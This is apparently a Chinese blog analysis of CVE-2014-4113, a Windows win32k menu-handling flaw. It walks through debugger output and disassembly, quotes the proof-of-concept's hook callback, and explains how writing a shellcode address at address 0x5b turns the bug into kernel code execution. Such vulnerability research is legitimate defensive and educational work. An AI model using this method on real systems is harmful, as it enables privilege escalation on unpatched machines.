简要分析 直接跑一波poc
kd> r
eax=fffffe0d ebx=000001ed ecx=927020e4 edx=91bd3b78 esi=fffffffb edi=fd2c4640
eip=925a93fa esp=91bd3a3c ebp=91bd3a64 iopl=0nv up ei ng nz na pe nc
cs=0008ss=0010ds=0023es=0023fs=0030gs=0000efl=00010286
win32k!xxxSendMessageTimeout+0xb3:
925a93fa 3b7e08cmpedi,dword ptr [esi+8] ds:0023:00000003=????????kd> kb
# ChildEBP RetAddrArgs to Child
00 942f9a64 925a95c5 fffffffb 000001ed 002ef85c win32k!xxxSendMessageTimeout+0xb3
01 942f9a8c 926292fb fffffffb 000001ed 002ef85c win32k!xxxSendMessage+0x28
02 942f9aec 92628c1f 942f9b0c 00000000 002ef85c win32k!xxxHandleMenuMessages+0x582
03 942f9b38 9262f8f1 fd2e6bf0 9270f580 00000000 win32k!xxxMNLoop+0x2c6
04 942f9ba0 9262f9dc 0000001c 00000000 00000000 win32k!xxxTrackPopupMenuEx+0x5cd
05 942f9c14 83e591ea 0015018b 00000000 00000000 win32k!NtUserTrackPopupMenuEx+0xc3
06 942f9c14 773570b4 0015018b 00000000 00000000 nt!KiFastCallEntry+0x12a
显然这里的esi是不合法的,因此我们需要找到它是如何产生的。向上可以追溯到一个基本块中
.text:BF938DF5 movesi, [ebp+arg_4]
.text:BF938DF8 ordword ptr [esi+10h], 0FFFFFFFFh
.text:BF938DFC movsxeax, bx
.text:BF938DFF mov[esi+8], eax
.text:BF938E02 moveax, ebx
.text:BF938E04 shreax, 10h
.text:BF938E07 cwde
.text:BF938E08 mov[esi+0Ch], eax
.text:BF938E0B pushebx;
int
.text:BF938E0C leaeax, [ebp+UnicodeString]
.text:BF938E0F pusheax;
int
.text:BF938E10 pushedi;
UnicodeString
.text:BF938E11 call_xxxMNFindWindowFromPoint@12 ;
返回指针
.text:BF938E16 movebx, eax
.text:BF938E18 pushebx
.text:BF938E19 call_IsMFMWFPWindow@4 ;
IsMFMWFPWindow(x)
.text:BF938E1E mov[ebp+arg_4], eax
.text:BF938E21 testeax, eax
.text:BF938E23 jzshort loc_BF938E43
xxxMNFindWindowFromPoint返回的就是之后的值,在这个基本块之后,还将该返回值与0,-1,-5做了比较,可以推测负数可能是错误码,继续深入看xxxMNFindWindowFromPoint内部是如何产生返回值的,这里通过调试找到返回-5的执行路径
文章图片
走的是左边黄色部分,其中第一个块如下
.text:BF9395B9 movecx, _gptiCurrent
.text:BF9395BF addecx, 0B4h
.text:BF9395C5 movedx, [ecx]
.text:BF9395C7 mov[ebp+var_18], edx
.text:BF9395CA leaedx, [ebp+var_18]
.text:BF9395CD mov[ecx], edx
.text:BF9395CF mov[ebp+var_14], eax
.text:BF9395D2 incdword ptr [eax+4]
.text:BF9395D5 moveax, [ebp+arg_8]
.text:BF9395D8 movzxecx, word ptr [ebp+arg_8]
.text:BF9395DC shreax, 10h
.text:BF9395DF shleax, 10h
.text:BF9395E2 oreax, ecx
.text:BF9395E4 pusheax;
Src
.text:BF9395E5 leaeax, [ebp+UnicodeString]
.text:BF9395E8 pusheax;
UnicodeString
.text:BF9395E9 push1EBh;
MbString
.text:BF9395EE pushdword ptr [edi+0Ch] ;
P
.text:BF9395F1 call_xxxSendMessage@16 ;
xxxSendMessage(x,x,x,x)
.text:BF9395F6 movesi, eax
.text:BF9395F8 call_ThreadUnlock1@0 ;
ThreadUnlock1()
.text:BF9395FD pushesi
.text:BF9395FE call_IsMFMWFPWindow@4 ;
IsMFMWFPWindow(x)
.text:BF939603 testeax, eax
.text:BF939605 jzshort loc_BF939612
从这条执行路径来看,xxxMNFindWindowFromPoint的返回值就是xxxSendMessage的返回值,即此处xxxSendMessage返回0xfffffffb,可以注意到的是,这里的xxxSendMessage发送的消息代码为0x1EB,这正是我们poc中hook的消息代码
LRESULT CALLBACK HookCallback(int code, WPARAM wParam, LPARAM lParam) {
printf("[+] Callback one called.\n");
if (*(DWORD*)(lParam + 8) == 0x1EB) {
if (UnhookWindowsHook(WH_CALLWNDPROC, HookCallback)) {
SetWindowLongA(*(HWND*)(lParam + 12), GWLP_WNDPROC, (LONG)HookCallbackTwo);
}
}
return CallNextHookEx(0, code, wParam, lParam);
}
所以在此处控制流会被我们的ring3代码劫持,转而调用HookCallbackTwo,它会调用EndMenu来终止一个Menu,这导致了xxxSendMessage失败并返回0xfffffffb。
利用思路 给出的poc离最终利用已经很接近了,在xxxSendMessageTimeout中有如下基本块
.text:BF8B94E8 loc_BF8B94E8:
.text:BF8B94E8 push[ebp+Src]
.text:BF8B94EB pushdword ptr [ebp+UnicodeString]
.text:BF8B94EE pushebx
.text:BF8B94EF pushesi
.text:BF8B94F0 calldword ptr [esi+60h]
.text:BF8B94F3 movecx, [ebp+arg_18]
.text:BF8B94F6 testecx, ecx
.text:BF8B94F8 jzloc_BF8B9591
【CVE-2014-4113简要分析-零页引用异常】其中调用了esi+0x60,而esi为-5时,这里为0x5b,所以这里本质上转换为了空指针异常,将shellcode地址写入0x5b地址处即可实现利用。
推荐阅读
- Python进阶|警惕 Python 中少为人知的 10 个安全陷阱
- k8s|k8s(六)(配置管理与集群安全机制)
- Java程序|软件测试八款优秀的API安全测试工具,会用三款工作效率能提升50%
- 内网渗透|内网渗透-最实用的信息收集
- 定位|浅谈大规模红蓝对抗攻与防
- 计算机网络重点回顾